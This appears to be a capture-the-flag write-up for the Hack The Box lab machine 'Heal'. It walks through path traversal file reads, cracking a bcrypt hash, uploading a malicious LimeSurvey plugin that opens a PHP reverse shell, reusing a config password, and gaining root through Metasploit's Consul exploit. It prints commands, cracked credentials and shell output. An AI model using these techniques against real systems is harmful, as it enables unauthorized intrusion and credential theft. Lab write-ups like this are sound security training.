Post

Heal

Heal

Heal is a medium difficulty Linux machine. This box only has two TCP ports open, ssh and http. The webpage has three different subdomains. One of them is vulnerable to a file disclosure which allows us to download an sqlite3 database that contains a hashed password. Using hashcat we are able to crack it which grants us access to a LimeSurvey instance. By installing a malicious plugin we are able to include a php reverse shell which grants us access to the server. Enumerating the config files gives us access to a user’s credential. Root is running the consul service which can be used to create a reverse shell as this super user. heal_info_card

NMAP

We can start solving this box by doing an nmap scan which reveals that there are only two open TCP ports SSH and HTTP on ports 22 and 80 respectively.

1
2
3
4
5
6
7
8
9
10
cat nmap/allports 
# Nmap 7.94SVN scan initiated Mon Jul 28 17:57:00 2025 as: nmap -p- --min-rate 5000 -Pn -n -oN nmap/allports 10.10.11.46
Nmap scan report for 10.10.11.46
Host is up (0.061s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Mon Jul 28 17:57:15 2025 -- 1 IP address (1 host up) scanned in 14.85 seconds

Since the only real attack surface is HTTP we can go view the website. We are redirected to http://heal.htb. Since our DNS does not recognize this name we must add it manually to our /etc/hosts file. Once this is done we can start enumerating the website. This website is used to make some resume for job applications by turning an html form into PDF using wkhtmltopdf.

heal_info_card

The website’s main page is a login form we do not have an account but the site also has the option to register a user. After making a new user we can login which gives us access to the resume making endpoint. These sites are usually vulnerable to a server side template injection as they process raw html data into pdf. For example, we could inject an iFrame that loads a file from the server. I tried common injections but this only results in the server crashing so I think there must be a filter blocking these injections.

If we try exporting a simple resume to pdf we can see that the page makes a request to the following subdomain: api.heal.htb. After adding this new subdomain to our /etc/hosts file we can browse to it and we are presented with the following page:

heal_info_card

It seems like the website is using ruby on rails.

File Disclosure

If we go back to exporting the resume to pdf we can see that the site makes a total of three requests. First a POST request to http://api.heal.htb/exports then a weird OPTIONS request to http://api.heal.htb/download?filename=7ff7c322bd19e79e5f88.pdf and finally a GET request to the same endpoint. We can see that the file name being used is a hash or at least it is randomly generated which prevents us from performing an IDOR attack. From the request URL we can see that the filename parameter looks potentially vulnerable to a arbitrary file read. Changing the file name to ../../../../../etc/passwd results in the server sending us its passwd file. This confirms that we can read files from the server.

heal_info_card

From this file we can see that there are a total of three users with a shell on this server; root, ron and ralph. I tried to view sensitive files like their private ssh keys which are usually stored in /home/user/.ssh/id-rsa but none of these users had them available or I did not have the privileges to do so as I kept getting the following response:

1
2
3
{
    "errors":"File not found"
}

Finding the Gemfile

With the capability of reading files I try to find sensitive files that would allow me to get some passwords to log in as ron or ralph. I found this nice blog post that shows the directory structure of a ruby on rails installation. For a ruby application the Gemfile usually contains nice information. I try to search for the Gemfile by going back some directories. I was able to get a hit two directories down. The Gemfile revealed that a sqlite3 database was being used.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
source "https://rubygems.org"

ruby "3.3.5"

# Bundle edge Rails instead: gem "rails", github: "rails/rails", branch: "main"
gem "rails", "~> 7.1.3", ">= 7.1.3.4"

# Use sqlite3 as the database for Active Record
gem "sqlite3", "~> 1.4"
gem 'jwt'
gem 'bcrypt', '~> 3.1.7'
gem 'imgkit'
gem 'rack-cors'
gem 'rexml'
#<SNIP>

To find the database name I read the file inside config/database.yml which revealed the path and database name.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# config/database.yml
# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

production:
  <<: *default
  database: storage/development.sqlite3

Leaking the Database Contents

Following this I read the contents of storage/development.sqlite3 you could copy the contents but since the file is very small it can easily be seen that there is only one other user other than us in the website, ralph which is an Administrator. I copied his hash and used hashcat’s bcrypt mode to crack them as this was the hashing algorithm specified in the Gemfile.

1
2
hashcat 'ralph:$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' /usr/share/wordlists/rockyou.txt -m 3200 --user --show
ralph:147258369

With this set of credentials we can log in as an administrator on the main webpage but this does not open any new endpoints that we can abuse to gain RCE. I also tried to ssh with this password as the user ralph but this did not work.

heal_info_card

Discovering the Survey Subdomain uses LimeSurvey

On the main webpage we can see a survey page that allows us to submit a survey on another subdomain take-survey.heal.htb this survey subdomain is running LimeSurvey, this can be confirmed by looking at the source code

heal_info_card

Creating the Malicious Plugin

LimeSurvey has an admin portal, since we have some credentials we can try to log in at the http://take-survey.heal.htb/admin page. The credentials work and we can now access the admin portal which allows us to upload a malicious plugin that contains a php reverse shell. To do this go to Configurations->Settings->Plugins, from this page we can install and activate plugins to craft a malicious plugin I used this github repository. I changed the IP and ports numbers of the reverse shell and zipped the contents using the following command:

1
2
3
4
git clone https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
cd Limesurvey-RCE
vim php-rev.php -> changed IP and port numbers
zip -r plugin.zip .

We can now upload this zip file to Limesurvey. Remember to activate the plugin after uploading it. Once the plugin is up and running we can then navigate to http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.php to trigger the reverse shell. Also remember to set up a listener on the port you specified.

1
2
3
4
5
6
7
8
9
10
nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.46] 59306
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 16:23:25 up 1 day, 27 min,  0 users,  load average: 0.07, 0.04, 0.03
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Finding Ron’s Password

As www-data does not have many privileges I try to find some credentials that would allow me to login as one of the two users in the box. I end up finding some database credentials that are also valid for the ron user. This configuration file can be found inside of /var/www/limesurvey/application/config/config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
return array(
	'components' => array(
		'db' => array(
			'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
			'emulatePrepare' => true,
			'username' => 'db_user',
			'password' => 'AdmiDi0_pA$$w0rd',
			'charset' => 'utf8',
			'tablePrefix' => 'lime_',
		),
        <SNIP>
    )
)

Privilege Escalation

We can now ssh as ron with the following credentials ron:AdmiDi0_pA$$w0rd. To gain root privileges I found that root is running some process on some local ports.

1
2
ps aux | grep root
root        1766  0.5  2.7 1360036 110140 ?      Ssl  Jul28   8:37 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.

Consul is used and is being as root so what is consul?

1
2
3
Consul is a tool by HashiCorp used for service discovery, health checking, and secure service
communication in distributed systems. It helps services find each other and communicate
reliably across dynamic infrastructure.

Viewing the documentation we can see what ports this services uses and we can see that they are the same ports that this server has listening in localhost. heal_info_card

To access this service we must add a port forward that forwards port 8500 back to us. This is because this service is only listening inside the machine and we are not able to access it from outside. Port forwarding allows us to interact with these services from our own machine. To perform this port forward we can hit Enter + ~C to enter ssh command line and then add the portforward with -L 8500:localhost:8500 This will forward port 8500 to us which is used to interact with the service.

We can then use msfconsole’s multi/misc/consul_service_exec exploit to grant us a root shell. The options I used can be found below. They are mostly default with the main change that RHOSTS is localhost as we had to use portforwarding.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Module options (exploit/multi/misc/consul_service_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ACL_TOKEN                   no        Consul Agent ACL token
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, sapni, socks5h, http
   RHOSTS     localhost        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8500             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.10      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux

We can the run this exploit and get the root shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
[msf](Jobs:0 Agents:0) exploit(multi/misc/consul_service_exec) >> run
[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 10.10.14.10:4444 
[*] Creating service 'AlJxM'
[*] Service 'AlJxM' successfully created.
[*] Waiting for service 'AlJxM' script to trigger
[*] Sending stage (1062760 bytes) to 10.10.11.46
[*] Meterpreter session 1 opened (10.10.14.10:4444 -> 10.10.11.46:58610) at 2025-07-29 18:52:40 +0200
[*] Removing service 'AlJxM'
[*] Command Stager progress - 100.00% done (763/763 bytes)
[*] Session 1 created in the background.
[*] Exploiting target ::1
[*] Started reverse TCP handler on 10.10.14.10:4444 
[*] Creating service 'WExXqeA'
[*] Service 'WExXqeA' successfully created.
[*] Waiting for service 'WExXqeA' script to trigger
[*] Sending stage (1062760 bytes) to 10.10.11.46
[*] Meterpreter session 2 opened (10.10.14.10:4444 -> 10.10.11.46:36880) at 2025-07-29 18:52:52 +0200
[*] Removing service 'WExXqeA'
[*] Command Stager progress - 100.00% done (763/763 bytes)
[*] Session 2 created in the background.
[msf](Jobs:0 Agents:2) exploit(multi/misc/consul_service_exec) >> sessions -i

Active sessions
===============

  Id  Name  Type                   Information         Connection
  --  ----  ----                   -----------         ----------
  1         meterpreter x86/linux  root @ 10.10.11.46  10.10.14.10:4444 -> 10.10.11.46:58610 (127.0.0.1)
  2         meterpreter x86/linux  root @ 10.10.11.46  10.10.14.10:4444 -> 10.10.11.46:36880 (::1)

[msf](Jobs:0 Agents:2) exploit(multi/misc/consul_service_exec) >> sessions -i 1
[*] Starting interaction with 1...

(Meterpreter 1)(/) > shell
Process 80852 created.
Channel 1 created.
whoami
root
cat /root/root.txt
7ce496fc6<SNIP>
This post is licensed under CC BY 4.0 by the author.